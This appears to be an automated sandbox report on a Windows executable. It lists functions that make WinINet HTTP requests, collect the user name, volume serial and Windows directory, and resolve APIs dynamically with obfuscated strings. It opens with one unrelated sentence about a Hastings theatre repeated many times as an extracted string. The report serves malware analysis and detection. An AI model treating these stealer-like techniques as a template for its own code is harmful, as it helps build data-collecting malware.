                                    • String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
                                    • API String ID: 1542196881-2218711628
                                    • Opcode ID: 9ce53dd9e62066443c1dd0cc8ef6aeb5f1bded3e63991dcfff7b257ffc4279d5
                                    • Instruction ID: 166a75d6eabd6dd01270b6db7d38ce92c95256833e8e8c93fb1777f75cfa2e21
                                    • Opcode Fuzzy Hash: 9ce53dd9e62066443c1dd0cc8ef6aeb5f1bded3e63991dcfff7b257ffc4279d5
                                    • Instruction Fuzzy Hash: E44102617E260C6EC678FBE4884EEBFBA665F47700F519064EB00523A0EFB0550287B7
                                    Function 00CD62D0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191networkfileCOMMON
                                    Download Yara Rule

                                    Control-flow Graph

                                    • Executed
                                    • Not Executed
                                    control_flow_graph 1033 cd62d0-cd635b call ceaab0 call cd4800 call ceaa50 InternetOpenA StrCmpCA 1040 cd635d 1033->1040 1041 cd6364-cd6368 1033->1041 1040->1041 1042 cd636e-cd6392 InternetConnectA 1041->1042 1043 cd6559-cd6575 call ceaab0 call ceab10 * 2 1041->1043 1044 cd654f-cd6553 InternetCloseHandle 1042->1044 1045 cd6398-cd639c 1042->1045 1061 cd6578-cd657d 1043->1061 1044->1043 1047 cd639e-cd63a8 1045->1047 1048 cd63aa 1045->1048 1051 cd63b4-cd63e2 HttpOpenRequestA 1047->1051 1048->1051 1053 cd63e8-cd63ec 1051->1053 1054 cd6545-cd6549 InternetCloseHandle 1051->1054 1056 cd63ee-cd640f InternetSetOptionA 1053->1056 1057 cd6415-cd6455 HttpSendRequestA HttpQueryInfoA 1053->1057 1054->1044 1056->1057 1059 cd647c-cd649b call ce8ad0 1057->1059 1060 cd6457-cd6477 call ceaa50 call ceab10 * 2 1057->1060 1067 cd649d-cd64a4 1059->1067 1068 cd6519-cd6539 call ceaa50 call ceab10 * 2 1059->1068 1060->1061 1071 cd6517-cd653f InternetCloseHandle 1067->1071 1072 cd64a6-cd64d0 InternetReadFile 1067->1072 1068->1061 1071->1054 1076 cd64db 1072->1076 1077 cd64d2-cd64d9 1072->1077 1076->1071 1077->1076 1080 cd64dd-cd6515 call ceacc0 call ceabb0 call ceab10 1077->1080 1080->1072
                                    APIs
                                      • Part of subcall function 00CEAAB0: lstrcpy.KERNEL32(?,00000000), ref: 00CEAAF6
                                      • Part of subcall function 00CD4800: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00CD4889
                                      • Part of subcall function 00CD4800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00CD4899
                                      • Part of subcall function 00CEAA50: lstrcpy.KERNEL32(00CF0E1A,00000000), ref: 00CEAA98
                                    • InternetOpenA.WININET(00CF0DFF,00000001,00000000,00000000,00000000), ref: 00CD6331
                                    • StrCmpCA.SHLWAPI(?,0159E410), ref: 00CD6353
                                    • InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00CD6385
                                    • HttpOpenRequestA.WININET(00000000,GET,?,0159D9F8,00000000,00000000,00400100,00000000), ref: 00CD63D5
                                    • InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00CD640F
                                    • HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00CD6421
                                    • HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00CD644D
                                    • InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00CD64BD
                                    • InternetCloseHandle.WININET(00000000), ref: 00CD653F
                                    • InternetCloseHandle.WININET(00000000), ref: 00CD6549
                                    • InternetCloseHandle.WININET(00000000), ref: 00CD6553
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
                                    • String ID: ERROR$ERROR$GET
                                    • API String ID: 3749127164-2509457195
                                    • Opcode ID: ddeacba7d070e65a591bbad441636074de3d1451a9b232627a9622c8f6e9c04a
                                    • Instruction ID: c9be7dd65681bc981708006d304a2c94d49b9a118b5a3e4d69cd17a34d3a72d0
                                    • Opcode Fuzzy Hash: ddeacba7d070e65a591bbad441636074de3d1451a9b232627a9622c8f6e9c04a
                                    • Instruction Fuzzy Hash: C2716FB1A00358EFDB24EFA0DC55FEE7774AB44700F108199F60A6B290DBB46A84DF51
                                    Function 00CE7690 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106memoryCOMMON
                                    Download Yara Rule

                                    Control-flow Graph

                                    • Executed
                                    • Not Executed
                                    control_flow_graph 1356 ce7690-ce76da GetWindowsDirectoryA 1357 ce76dc 1356->1357 1358 ce76e3-ce7757 GetVolumeInformationA call ce8e90 * 3 1356->1358 1357->1358 1365 ce7768-ce776f 1358->1365 1366 ce778c-ce77a7 GetProcessHeap RtlAllocateHeap 1365->1366 1367 ce7771-ce778a call ce8e90 1365->1367 1369 ce77b8-ce77e8 wsprintfA call ceaa50 1366->1369 1370 ce77a9-ce77b6 call ceaa50 1366->1370 1367->1365 1377 ce780e-ce781e 1369->1377 1370->1377
                                    APIs
                                    • GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00CE76D2
                                    • GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00CE770F
                                    • GetProcessHeap.KERNEL32(00000000,00000104), ref: 00CE7793
                                    • RtlAllocateHeap.NTDLL(00000000), ref: 00CE779A
                                    • wsprintfA.USER32 ref: 00CE77D0
                                      • Part of subcall function 00CEAA50: lstrcpy.KERNEL32(00CF0E1A,00000000), ref: 00CEAA98
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
                                    • String ID: :$C$\
                                    • API String ID: 1544550907-3809124531
                                    • Opcode ID: de387e6bbac2b098e66e7f5ebc254455f0367d95397d559b6076382961e19f4f
                                    • Instruction ID: 29028268d13fc76888879ee335f0aa9ea6e87ff144fc3e045ac4ca6cfcef5c96
                                    • Opcode Fuzzy Hash: de387e6bbac2b098e66e7f5ebc254455f0367d95397d559b6076382961e19f4f
                                    • Instruction Fuzzy Hash: 844191B1D04388ABDB10DB95CC85FEEBBB8AF08704F104199F609AB280D7746A44DBA5
                                    Function 00CE79E0 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON
                                    Download Yara Rule
                                    APIs
                                    • GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00CD11B7), ref: 00CE7A10
                                    • RtlAllocateHeap.NTDLL(00000000), ref: 00CE7A17
                                    • GetUserNameA.ADVAPI32(00000104,00000104), ref: 00CE7A2F
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Heap$AllocateNameProcessUser
                                    • String ID:
                                    • API String ID: 1296208442-0
                                    • Opcode ID: b6d9c223e9ae2c966943cfa230760107f9fee5e444755db3ed034e0a5b442de2
                                    • Instruction ID: a6620cb9d794b36e334f736c766a40cb165bb09849bf967581a9d0c124b9ca8c
                                    • Opcode Fuzzy Hash: b6d9c223e9ae2c966943cfa230760107f9fee5e444755db3ed034e0a5b442de2
                                    • Instruction Fuzzy Hash: A1F04FB2948349EBC700DF99DD45FAEBBB8EB45711F10022AFA15A3680C77515008BA1
                                    Function 00CD1160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON
                                    Download Yara Rule
                                    APIs
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: ExitInfoProcessSystem
                                    • String ID:
                                    • API String ID: 752954902-0
                                    • Opcode ID: f930ae6878ba11ccb48832f54430fbde10b6c01a4a9c8f1055e5808cbd443677
                                    • Instruction ID: 9fd4a07c4796dd63f7d21725bac106ba1c39806732a33312c82adf3362fc9110
                                    • Opcode Fuzzy Hash: f930ae6878ba11ccb48832f54430fbde10b6c01a4a9c8f1055e5808cbd443677
                                    • Instruction Fuzzy Hash: 18D09EB490431CABCB04EFE09D49ADDBBB8FB0D615F140555DD0562340EA316455CB65
                                    Function 00CE9F20 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684libraryloaderCOMMON
                                    Download Yara Rule

                                    Control-flow Graph

                                    • Executed
                                    • Not Executed
                                    control_flow_graph 633 ce9f20-ce9f2a 634 cea346-cea3da LoadLibraryA * 8 633->634 635 ce9f30-cea341 GetProcAddress * 43 633->635 636 cea3dc-cea451 GetProcAddress * 5 634->636 637 cea456-cea45d 634->637 635->634 636->637 638 cea526-cea52d 637->638 639 cea463-cea521 GetProcAddress * 8 637->639 640 cea52f-cea5a3 GetProcAddress * 5 638->640 641 cea5a8-cea5af 638->641 639->638 640->641 642 cea647-cea64e 641->642 643 cea5b5-cea642 GetProcAddress * 6 641->643 644 cea72f-cea736 642->644 645 cea654-cea72a GetProcAddress * 9 642->645 643->642 646 cea738-cea7ad GetProcAddress * 5 644->646 647 cea7b2-cea7b9 644->647 645->644 646->647 648 cea7ec-cea7f3 647->648 649 cea7bb-cea7e7 GetProcAddress * 2 647->649 650 cea825-cea82c 648->650 651 cea7f5-cea820 GetProcAddress * 2 648->651 649->648 652 cea922-cea929 650->652 653 cea832-cea91d GetProcAddress * 10 650->653 651->650 654 cea98d-cea994 652->654 655 cea92b-cea988 GetProcAddress * 4 652->655 653->652 656 cea9ae-cea9b5 654->656 657 cea996-cea9a9 GetProcAddress 654->657 655->654 658 ceaa18-ceaa19 656->658 659 cea9b7-ceaa13 GetProcAddress * 4 656->659 657->656 659->658
                                    APIs
                                    • GetProcAddress.KERNEL32(75900000,015868E0), ref: 00CE9F3D
                                    • GetProcAddress.KERNEL32(75900000,01586880), ref: 00CE9F55
                                    • GetProcAddress.KERNEL32(75900000,01598FB8), ref: 00CE9F6E
                                    • GetProcAddress.KERNEL32(75900000,01598EF8), ref: 00CE9F86
                                    • GetProcAddress.KERNEL32(75900000,0159CF70), ref: 00CE9F9E
                                    • GetProcAddress.KERNEL32(75900000,0159CF88), ref: 00CE9FB7
                                    • GetProcAddress.KERNEL32(75900000,0158B630), ref: 00CE9FCF
                                    • GetProcAddress.KERNEL32(75900000,0159CE98), ref: 00CE9FE7
                                    • GetProcAddress.KERNEL32(75900000,0159CE08), ref: 00CEA000
                                    • GetProcAddress.KERNEL32(75900000,0159CE20), ref: 00CEA018
                                    • GetProcAddress.KERNEL32(75900000,0159CE38), ref: 00CEA030
                                    • GetProcAddress.KERNEL32(75900000,015866A0), ref: 00CEA049
                                    • GetProcAddress.KERNEL32(75900000,015867A0), ref: 00CEA061
                                    • GetProcAddress.KERNEL32(75900000,015868A0), ref: 00CEA079
                                    • GetProcAddress.KERNEL32(75900000,01586900), ref: 00CEA092
                                    • GetProcAddress.KERNEL32(75900000,0159CEB0), ref: 00CEA0AA
                                    • GetProcAddress.KERNEL32(75900000,0159CEC8), ref: 00CEA0C2
                                    • GetProcAddress.KERNEL32(75900000,0158B400), ref: 00CEA0DB
                                    • GetProcAddress.KERNEL32(75900000,015869A0), ref: 00CEA0F3
                                    • GetProcAddress.KERNEL32(75900000,0159CFA0), ref: 00CEA10B
                                    • GetProcAddress.KERNEL32(75900000,0159CF58), ref: 00CEA124
                                    • GetProcAddress.KERNEL32(75900000,0159CEF8), ref: 00CEA13C
                                    • GetProcAddress.KERNEL32(75900000,0159CDF0), ref: 00CEA154
                                    • GetProcAddress.KERNEL32(75900000,01586940), ref: 00CEA16D
                                    • GetProcAddress.KERNEL32(75900000,0159CF28), ref: 00CEA185
                                    • GetProcAddress.KERNEL32(75900000,0159CE50), ref: 00CEA19D
                                    • GetProcAddress.KERNEL32(75900000,0159CF40), ref: 00CEA1B6
                                    • GetProcAddress.KERNEL32(75900000,0159CE68), ref: 00CEA1CE
                                    • GetProcAddress.KERNEL32(75900000,0159CEE0), ref: 00CEA1E6
                                    • GetProcAddress.KERNEL32(75900000,0159CE80), ref: 00CEA1FF
                                    • GetProcAddress.KERNEL32(75900000,0159CF10), ref: 00CEA217
                                    • GetProcAddress.KERNEL32(75900000,0159C910), ref: 00CEA22F
                                    • GetProcAddress.KERNEL32(75900000,0159CA48), ref: 00CEA248
                                    • GetProcAddress.KERNEL32(75900000,01599DC8), ref: 00CEA260
                                    • GetProcAddress.KERNEL32(75900000,0159C988), ref: 00CEA278
                                    • GetProcAddress.KERNEL32(75900000,0159CA60), ref: 00CEA291
                                    • GetProcAddress.KERNEL32(75900000,015867E0), ref: 00CEA2A9
                                    • GetProcAddress.KERNEL32(75900000,0159CAC0), ref: 00CEA2C1
                                    • GetProcAddress.KERNEL32(75900000,015869C0), ref: 00CEA2DA
                                    • GetProcAddress.KERNEL32(75900000,0159C958), ref: 00CEA2F2
                                    • GetProcAddress.KERNEL32(75900000,0159CA78), ref: 00CEA30A
                                    • GetProcAddress.KERNEL32(75900000,015864C0), ref: 00CEA323
                                    • GetProcAddress.KERNEL32(75900000,01586620), ref: 00CEA33B
                                    • LoadLibraryA.KERNEL32(0159C940,?,00CE5EF3,00CF0AEB,?,?,?,?,?,?,?,?,?,?,00CF0AEA,00CF0AE7), ref: 00CEA34D
                                    • LoadLibraryA.KERNEL32(0159C850,?,00CE5EF3,00CF0AEB,?,?,?,?,?,?,?,?,?,?,00CF0AEA,00CF0AE7), ref: 00CEA35E
                                    • LoadLibraryA.KERNEL32(0159C9E8,?,00CE5EF3,00CF0AEB,?,?,?,?,?,?,?,?,?,?,00CF0AEA,00CF0AE7), ref: 00CEA370
                                    • LoadLibraryA.KERNEL32(0159CAD8,?,00CE5EF3,00CF0AEB,?,?,?,?,?,?,?,?,?,?,00CF0AEA,00CF0AE7), ref: 00CEA382
                                    • LoadLibraryA.KERNEL32(0159C9B8,?,00CE5EF3,00CF0AEB,?,?,?,?,?,?,?,?,?,?,00CF0AEA,00CF0AE7), ref: 00CEA393
                                    • LoadLibraryA.KERNEL32(0159C868,?,00CE5EF3,00CF0AEB,?,?,?,?,?,?,?,?,?,?,00CF0AEA,00CF0AE7), ref: 00CEA3A5
                                    • LoadLibraryA.KERNEL32(0159CA90,?,00CE5EF3,00CF0AEB,?,?,?,?,?,?,?,?,?,?,00CF0AEA,00CF0AE7), ref: 00CEA3B7
                                    • LoadLibraryA.KERNEL32(0159CA00,?,00CE5EF3,00CF0AEB,?,?,?,?,?,?,?,?,?,?,00CF0AEA,00CF0AE7), ref: 00CEA3C8
                                    • GetProcAddress.KERNEL32(75FD0000,01586640), ref: 00CEA3EA
                                    • GetProcAddress.KERNEL32(75FD0000,0159C880), ref: 00CEA402
                                    • GetProcAddress.KERNEL32(75FD0000,01598B40), ref: 00CEA41A
                                    • GetProcAddress.KERNEL32(75FD0000,0159C898), ref: 00CEA433
                                    • GetProcAddress.KERNEL32(75FD0000,01586360), ref: 00CEA44B
                                    • GetProcAddress.KERNEL32(734B0000,0158B1D0), ref: 00CEA470
                                    • GetProcAddress.KERNEL32(734B0000,015863A0), ref: 00CEA489
                                    • GetProcAddress.KERNEL32(734B0000,0158B040), ref: 00CEA4A1
                                    • GetProcAddress.KERNEL32(734B0000,0159C808), ref: 00CEA4B9
                                    • GetProcAddress.KERNEL32(734B0000,0159C8B0), ref: 00CEA4D2
                                    • GetProcAddress.KERNEL32(734B0000,01586500), ref: 00CEA4EA
                                    • GetProcAddress.KERNEL32(734B0000,015865E0), ref: 00CEA502
                                    • GetProcAddress.KERNEL32(734B0000,0159CAA8), ref: 00CEA51B
                                    • GetProcAddress.KERNEL32(763B0000,01586560), ref: 00CEA53C
                                    • GetProcAddress.KERNEL32(763B0000,015862E0), ref: 00CEA554
                                    • GetProcAddress.KERNEL32(763B0000,0159C9D0), ref: 00CEA56D
                                    • GetProcAddress.KERNEL32(763B0000,0159C9A0), ref: 00CEA585
                                    • GetProcAddress.KERNEL32(763B0000,01586400), ref: 00CEA59D
                                    • GetProcAddress.KERNEL32(750F0000,0158AF50), ref: 00CEA5C3
                                    • GetProcAddress.KERNEL32(750F0000,0158AED8), ref: 00CEA5DB
                                    • GetProcAddress.KERNEL32(750F0000,0159CA18), ref: 00CEA5F3
                                    • GetProcAddress.KERNEL32(750F0000,01586600), ref: 00CEA60C
                                    • GetProcAddress.KERNEL32(750F0000,01586660), ref: 00CEA624
                                    • GetProcAddress.KERNEL32(750F0000,0158B0E0), ref: 00CEA63C
                                    • GetProcAddress.KERNEL32(75A50000,0159C928), ref: 00CEA662
                                    • GetProcAddress.KERNEL32(75A50000,015862A0), ref: 00CEA67A
                                    • GetProcAddress.KERNEL32(75A50000,01598A10), ref: 00CEA692
                                    • GetProcAddress.KERNEL32(75A50000,0159C820), ref: 00CEA6AB
                                    • GetProcAddress.KERNEL32(75A50000,0159CA30), ref: 00CEA6C3
                                    • GetProcAddress.KERNEL32(75A50000,01586280), ref: 00CEA6DB
                                    • GetProcAddress.KERNEL32(75A50000,01586440), ref: 00CEA6F4
                                    • GetProcAddress.KERNEL32(75A50000,0159C8C8), ref: 00CEA70C
                                    • GetProcAddress.KERNEL32(75A50000,0159C838), ref: 00CEA724
                                    • GetProcAddress.KERNEL32(75070000,015864A0), ref: 00CEA746
                                    • GetProcAddress.KERNEL32(75070000,0159C970), ref: 00CEA75E
                                    • GetProcAddress.KERNEL32(75070000,0159C7F0), ref: 00CEA776
                                    • GetProcAddress.KERNEL32(75070000,0159C8E0), ref: 00CEA78F
                                    • GetProcAddress.KERNEL32(75070000,0159C8F8), ref: 00CEA7A7
                                    • GetProcAddress.KERNEL32(74E50000,01586420), ref: 00CEA7C8
                                    • GetProcAddress.KERNEL32(74E50000,01586580), ref: 00CEA7E1
                                    • GetProcAddress.KERNEL32(75320000,015864E0), ref: 00CEA802
                                    • GetProcAddress.KERNEL32(75320000,0159CD60), ref: 00CEA81A
                                    • GetProcAddress.KERNEL32(6F060000,015865A0), ref: 00CEA840
                                    • GetProcAddress.KERNEL32(6F060000,01586300), ref: 00CEA858
                                    • GetProcAddress.KERNEL32(6F060000,015862C0), ref: 00CEA870
                                    • GetProcAddress.KERNEL32(6F060000,0159CD18), ref: 00CEA889
                                    • GetProcAddress.KERNEL32(6F060000,01586460), ref: 00CEA8A1
                                    • GetProcAddress.KERNEL32(6F060000,01586480), ref: 00CEA8B9
                                    • GetProcAddress.KERNEL32(6F060000,015865C0), ref: 00CEA8D2
                                    • GetProcAddress.KERNEL32(6F060000,01586320), ref: 00CEA8EA
                                    • GetProcAddress.KERNEL32(6F060000,InternetSetOptionA), ref: 00CEA901
                                    • GetProcAddress.KERNEL32(6F060000,HttpQueryInfoA), ref: 00CEA917
